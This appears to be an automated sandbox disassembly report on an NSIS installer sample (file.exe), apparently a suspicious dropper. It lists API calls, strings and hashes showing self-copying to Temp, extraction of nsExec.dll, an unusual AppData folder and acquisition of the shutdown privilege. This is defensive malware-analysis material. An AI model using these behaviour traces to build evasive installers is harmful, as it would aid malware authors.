DeleteFileW.KERNELBASE(1033,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040387B
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0043F000,00000000,?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403954

Part of subcall function 00406557: lstrcpynW.KERNEL32(?,?,00000400,004036A4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406564

wsprintfW.USER32 ref: 004039B1
GetFileAttributesW.KERNEL32(00437800,C:\Users\user\AppData\Local\Temp\), ref: 004039E4
DeleteFileW.KERNEL32(00437800), ref: 004039F0
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403A1E

Part of subcall function 00406317: MoveFileExW.KERNEL32(?,?,00000005,00405E15,?,00000000,000000F1,?,?,?,?,?), ref: 00406321

CopyFileW.KERNEL32(C:\Users\user\Desktop\file.exe,00437800,00000001,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403A34

Part of subcall function 00405B3A: CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B63
Part of subcall function 00405B3A: CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B70

Part of subcall function 004068B4: FindFirstFileW.KERNELBASE(?,0042FAB8,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,00405F77,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,C:\Users\user\AppData\Local\Temp\nsbB152.tmp, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,75573420,C:\Users\user\AppData\Local\Temp\), ref: 004068BF
Part of subcall function 004068B4: FindClose.KERNEL32(00000000), ref: 004068CB

OleUninitialize.OLE32(?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403A82
ExitProcess.KERNEL32 ref: 00403A9F
CloseHandle.KERNEL32(00000000,00438000,00438000,?,00437800,00000000), ref: 00403AA6
GetCurrentProcess.KERNEL32(00000028,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403AC2
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?), ref: 00403AC9
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403ADE
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00403B01
ExitWindowsEx.USER32(00000002,80040002), ref: 00403B26
ExitProcess.KERNEL32 ref: 00403B49

Part of subcall function 00405B05: CreateDirectoryW.KERNELBASE(?,00000000,00403525,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040381C,?,00000008,0000000A,0000000C), ref: 00405B0B

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040380A, 0040380F, 00403825, 00403831, 00403840, 0040384D, 00403859, 00403861, 0040394F, 004039D0, 004039FC, 00403A1D, 00403A26
Low, xrefs: 00403848
NSIS Error, xrefs: 00403695
C:\Users\user\Desktop\file.exe, xrefs: 00403A2F
UXTHEME, xrefs: 00403620, 00403625, 0040362B
TEMP, xrefs: 0040385A
~nsu%X.tmp, xrefs: 004039A8
\Temp, xrefs: 0040382C
C:\Users\user\Desktop, xrefs: 00403972
Error launching installer, xrefs: 004038FD
1033, xrefs: 00403876
SeShutdownPrivilege, xrefs: 00403AD8
TMP, xrefs: 00403862
C:\Users\user\AppData\Local\acneform\Tjenestepligterne, xrefs: 00403927

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$Process$CloseDirectoryExit$CreateCurrentDeleteEnvironmentFindHandlePathTempTokenVariableVersionWindowslstrcatlstrlen$AdjustAttributesCharCommandCopyErrorFirstInfoInitializeLineLookupModeMoveNextOpenPrivilegePrivilegesUninitializeValuelstrcpynwsprintf
String ID: 1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\acneform\Tjenestepligterne$C:\Users\user\Desktop$C:\Users\user\Desktop\file.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu%X.tmp
API String ID: 1813718867-2364880001
Opcode ID: 2f58fbcc075b23529aa9588561da4342b8d2734b046618fffc698aa71994b29c
Instruction ID: 6c1349364f4d22fadfcc29bbd5f82b0434b4f5ba6e08f6571c64e8404a3f48da
Opcode Fuzzy Hash: 2f58fbcc075b23529aa9588561da4342b8d2734b046618fffc698aa71994b29c
Instruction Fuzzy Hash: 64F10270604301ABD320AF659D45B2B7AE8EF8570AF10483EF581B22D1DB7DDA45CB6E

Function 0040571B Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 00405779
GetDlgItem.USER32(?,000003EE), ref: 00405788
GetClientRect.USER32(?,?), ref: 004057C5
GetSystemMetrics.USER32(00000002), ref: 004057CC
SendMessageW.USER32(?,00001061,00000000,?), ref: 004057ED
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004057FE
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405811
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040581F
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405832
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405854
ShowWindow.USER32(?,00000008), ref: 00405868
GetDlgItem.USER32(?,000003EC), ref: 00405889
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405899
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004058B2
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004058BE
GetDlgItem.USER32(?,000003F8), ref: 00405797

Part of subcall function 0040450B: SendMessageW.USER32(00000028,?,00000001,00404336), ref: 00404519

GetDlgItem.USER32(?,000003EC), ref: 004058DB
CreateThread.KERNELBASE(00000000,00000000,Function_000056AF,00000000), ref: 004058E9
CloseHandle.KERNELBASE(00000000), ref: 004058F0
ShowWindow.USER32(00000000), ref: 00405914
ShowWindow.USER32(?,00000008), ref: 00405919
ShowWindow.USER32(00000008), ref: 00405963
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405997
CreatePopupMenu.USER32 ref: 004059A8
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004059BC
GetWindowRect.USER32(?,?), ref: 004059DC
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004059F5
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A2D
OpenClipboard.USER32(00000000), ref: 00405A3D
EmptyClipboard.USER32 ref: 00405A43
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405A4F
GlobalLock.KERNEL32(00000000), ref: 00405A59
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A6D
GlobalUnlock.KERNEL32(00000000), ref: 00405A8D
SetClipboardData.USER32(0000000D,00000000), ref: 00405A98
CloseClipboard.USER32 ref: 00405A9E

Strings

{, xrefs: 00405981

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: 6ac74cf2b0cd8326ebbb69d62323ae371d5bd3f712404c75dedbcee8fb33a3cc
Instruction ID: 234ab3d0ec1f6487b719ed7b99e1d6b4405f443d9e8d78e252fa94ab3ac4d3a1
Opcode Fuzzy Hash: 6ac74cf2b0cd8326ebbb69d62323ae371d5bd3f712404c75dedbcee8fb33a3cc
Instruction Fuzzy Hash: 34B139B1900608FFDB11AF60DD89AAE7B79FB48355F00813AFA41BA1A0C7785A51DF58

Function 00405C63 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,75573420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405C8C
lstrcatW.KERNEL32(0042EA70,\*.*,0042EA70,?,?,75573420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405CD4
lstrcatW.KERNEL32(?,0040A014,?,0042EA70,?,?,75573420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405CF7
lstrlenW.KERNEL32(?,?,0040A014,?,0042EA70,?,?,75573420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405CFD
FindFirstFileW.KERNEL32(0042EA70,?,?,?,0040A014,?,0042EA70,?,?,75573420,C:\Users\user\AppData\Local\Temp\,0043F000), ref: 00405D0D
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405DAD
FindClose.KERNEL32(00000000), ref: 00405DBC

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405C70
pB, xrefs: 00405CBC
\*.*, xrefs: 00405CCE

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: C:\Users\user\AppData\Local\Temp\$\*.*$pB
API String ID: 2035342205-3630010723
Opcode ID: 8ddda18a5e03c3094d99475b595a137c5d28125fbada97bd0876376ed00bff5b
Instruction ID: 3df5019795aaf58f6817f8e3609a5bcb0d9fa216103f8ca083ea3247371bac5c
Opcode Fuzzy Hash: 8ddda18a5e03c3094d99475b595a137c5d28125fbada97bd0876376ed00bff5b
Instruction Fuzzy Hash: 2441B231400A14BADB21BB65DC8DAAF7678EF81714F24813BF801B11D1DB7C4A81DEAE

Function 004068B4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,0042FAB8,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,00405F77,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsbB152.tmp,C:\Users\user\AppData\Local\Temp\nsbB152.tmp, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405C83,?,75573420,C:\Users\user\AppData\Local\Temp\), ref: 004068BF
FindClose.KERNEL32(00000000), ref: 004068CB

Strings

C:\Users\user\AppData\Local\Temp\nsbB152.tmp, xrefs: 004068B4

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\Users\user\AppData\Local\Temp\nsbB152.tmp
API String ID: 2295610775-627501760
Opcode ID: d8a05a579feb8caf00dd3d3e1258ef949bc643ef28fd0ab534c34ddbe61a4aed
Instruction ID: 0f602bcf77736d61886636fd33b874369bd8b56ce32760b4adaf045605f9a717
Opcode Fuzzy Hash: d8a05a579feb8caf00dd3d3e1258ef949bc643ef28fd0ab534c34ddbe61a4aed
Instruction Fuzzy Hash: 24D012725161309BC2406738AD0C84B7B58AF15331751CA37F56BF21E0D7348C6387A9

Function 00402910 Relevance: 1.5, APIs: 1, Instructions: 30fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00000000,?,00000002), ref: 0040291F

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileFindFirst
String ID:
API String ID: 1974802433-0
Opcode ID: ace8a8367a08c0c3b8c33878fd122fec618c7fcc40fbfc74b5a987c147888bf4
Instruction ID: 4f8030157269cd498ea314d5a86e386b0cfb994e1dea9c94a4400a3869289cfc
Opcode Fuzzy Hash: ace8a8367a08c0c3b8c33878fd122fec618c7fcc40fbfc74b5a987c147888bf4
Instruction Fuzzy Hash: 17F08C71A04104AAD701EBE4EE499AEB378EF14324F60457BE102F31E0DBB85E159B2A

Function 00403FD7 Relevance: 51.4, APIs: 34, Instructions: 357
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404013
ShowWindow.USER32(?), ref: 00404033
GetWindowLongW.USER32(?,000000F0), ref: 00404045
ShowWindow.USER32(?,00000004), ref: 0040405E
DestroyWindow.USER32 ref: 00404072
SetWindowLongW.USER32(?,00000000,00000000), ref: 0040408B
GetDlgItem.USER32(?,?), ref: 004040AA
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 004040BE
IsWindowEnabled.USER32(00000000), ref: 004040C5
GetDlgItem.USER32(?,00000001), ref: 00404170
GetDlgItem.USER32(?,00000002), ref: 0040417A
SetClassLongW.USER32(?,000000F2,?), ref: 00404194
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004041E5
GetDlgItem.USER32(?,00000003), ref: 0040428B
ShowWindow.USER32(00000000,?), ref: 004042AC
KiUserCallbackDispatcher.NTDLL(?,?), ref: 004042BE
EnableWindow.USER32(?,?), ref: 004042D9
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 004042EF
EnableMenuItem.USER32(00000000), ref: 004042F6
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 0040430E
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404321
lstrlenW.KERNEL32(0042CA68,?,0042CA68,00000000), ref: 0040434B
SetWindowTextW.USER32(?,0042CA68), ref: 0040435F
ShowWindow.USER32(?,0000000A), ref: 00404493

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Window$Item$MessageSendShow$Long$EnableMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 121052019-0
Opcode ID: df8d1fa02ff149c62ea57a685de79d9d3ef227f732b6982a07419eaff96d62a7
Instruction ID: 911e0a6aef898d83942fe666095560f38e6effa11f08765efd6836b1f10f2e9c
Opcode Fuzzy Hash: df8d1fa02ff149c62ea57a685de79d9d3ef227f732b6982a07419eaff96d62a7
Instruction Fuzzy Hash: 29C1B0B1500204BBDB206F61EE89A2B3A68FB85756F01053EF781B51F0CB3958929B2D

Function 00403C29 Relevance: 42.2, APIs: 13, Strings: 11, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040694B: GetModuleHandleA.KERNEL32(?,00000020,?,00403642,0000000C,?,?,?,?,?,?,?,?), ref: 0040695D
Part of subcall function 0040694B: GetProcAddress.KERNEL32(00000000,?), ref: 00406978

lstrcatW.KERNEL32(1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000,00000002,75573420,C:\Users\user\AppData\Local\Temp\,00000000,0043F000,00008001), ref: 00403CAA
lstrlenW.KERNEL32(Exec,?,?,?,Exec,00000000,0043F800,1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000,00000002,75573420), ref: 00403D2A
lstrcmpiW.KERNEL32(?,.exe,Exec,?,?,?,Exec,00000000,0043F800,1033,0042CA68,80000001,Control Panel\Desktop\ResourceLocale,00000000,0042CA68,00000000), ref: 00403D3D
GetFileAttributesW.KERNEL32(Exec), ref: 00403D48
LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,0043F800), ref: 00403D91

Part of subcall function 0040649E: wsprintfW.USER32 ref: 004064AB

RegisterClassW.USER32(004336A0), ref: 00403DCE
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403DE6
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403E1B
ShowWindow.USER32(00000005,00000000), ref: 00403E51
GetClassInfoW.USER32(00000000,RichEdit20W,004336A0), ref: 00403E7D
GetClassInfoW.USER32(00000000,RichEdit,004336A0), ref: 00403E8A
RegisterClassW.USER32(004336A0), ref: 00403E93
DialogBoxParamW.USER32(?,00000000,00403FD7,00000000), ref: 00403EB2

Strings

1033, xrefs: 00403C49, 00403CA5
RichEd32, xrefs: 00403E65
.exe, xrefs: 00403D37
C:\Users\user\AppData\Local\Temp\, xrefs: 00403C2E
Exec, xrefs: 00403CF1, 00403CFA, 00403D08, 00403D57, 00403D5D
.DEFAULT\Control Panel\International, xrefs: 00403C95
RichEdit, xrefs: 00403E84
Control Panel\Desktop\ResourceLocale, xrefs: 00403C5D
RichEd20, xrefs: 00403E57
_Nb, xrefs: 00403DAD, 00403E15
RichEdit20W, xrefs: 00403E75, 00403E7B

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: .DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Temp\$Control Panel\Desktop\ResourceLocale$Exec$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-931941464
Opcode ID: bbb1e3748a54a273649d0fbd54a0890110e87f86c4ca5900aa60a5a95311a30e
Instruction ID: b78af383561608ccb802af496d710159af2d94eef556b4765221653e5b422f1b
Opcode Fuzzy Hash: bbb1e3748a54a273649d0fbd54a0890110e87f86c4ca5900aa60a5a95311a30e
Instruction Fuzzy Hash: 9F61C270100640BED220AF66ED46F2B3A6CEB85B5AF50013FF945B62E2DB7C59418B6D

Function 00403082 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 181
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403093
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\file.exe,00000400), ref: 004030AF

Part of subcall function 00406047: GetFileAttributesW.KERNELBASE(00000003,004030C2,C:\Users\user\Desktop\file.exe,80000000,00000003), ref: 0040604B
Part of subcall function 00406047: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 0040606D

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\file.exe,C:\Users\user\Desktop\file.exe,80000000,00000003), ref: 004030FB
GlobalAlloc.KERNELBASE(00000040,?), ref: 00403231

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00403258
C:\Users\user\AppData\Local\Temp\, xrefs: 00403089
soft, xrefs: 00403170
C:\Users\user\Desktop\file.exe, xrefs: 00403099, 004030A8, 004030BC, 004030DC
Inst, xrefs: 00403167
Null, xrefs: 00403179
C:\Users\user\Desktop, xrefs: 004030DD, 004030E2, 004030E8
Error launching installer, xrefs: 004030D2

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1449034776.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449077527.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000440000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449128028.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1449300540.0000000000465000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\file.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 2803837635-3874380391
Opcode ID: 4024c06592b314d40f0961ad518ac7c722ea73bb9c6d843fd25d11ff0f4bc292
Instruction ID: 68b8bf8592918c5e7f10339d86c9767fe938295b8d0ed8def850c2c8f1d184f5
Opcode Fuzzy Hash: 4024c06592b314d40f0961ad518ac7c722ea73bb9c6d843fd25d11ff0f4bc292
Instruction Fuzzy Hash: 8251A071A00204ABDB20AF65DD85B9E7EACEB49356F10417BF900B62D1C77C9F408BAD

Function 00406594 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 204
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(Exec,00000400), ref: 004066B6
GetWindowsDirectoryW.KERNEL32(Exec,00000400,00000000,Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll,?,?,00000000,00000000,00424620,755723A0), ref: 004066CC
SHGetPathFromIDListW.SHELL32(00000000,Exec), ref: 0040672A
CoTaskMemFree.OLE32(00000000,?,00000000,00000007), ref: 00406733
lstrcatW.KERNEL32(Exec,\Microsoft\Internet Explorer\Quick Launch,00000000,Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll,?,?,00000000,00000000,00424620,755723A0), ref: 0040675E
lstrlenW.KERNEL32(Exec,00000000,Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll,?,?,00000000,00000000,00424620,755723A0), ref: 004067B8

Strings

\Microsoft\Internet Explorer\Quick Launch, xrefs: 00406758
Exec, xrefs: 004065C1, 0040667B, 00406682, 00406686, 0040669F, 004066A0, 004066B5, 004066CB, 004066FC, 00406728, 0040675D, 00406763, 00406780, 00406793, 004067B1, 004067B7, 004067C0, 004067F5
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406687
Extract: C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll, xrefs: 004065B8

Memory Dump Source

Source File: 00000000.00000002.1449058394.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

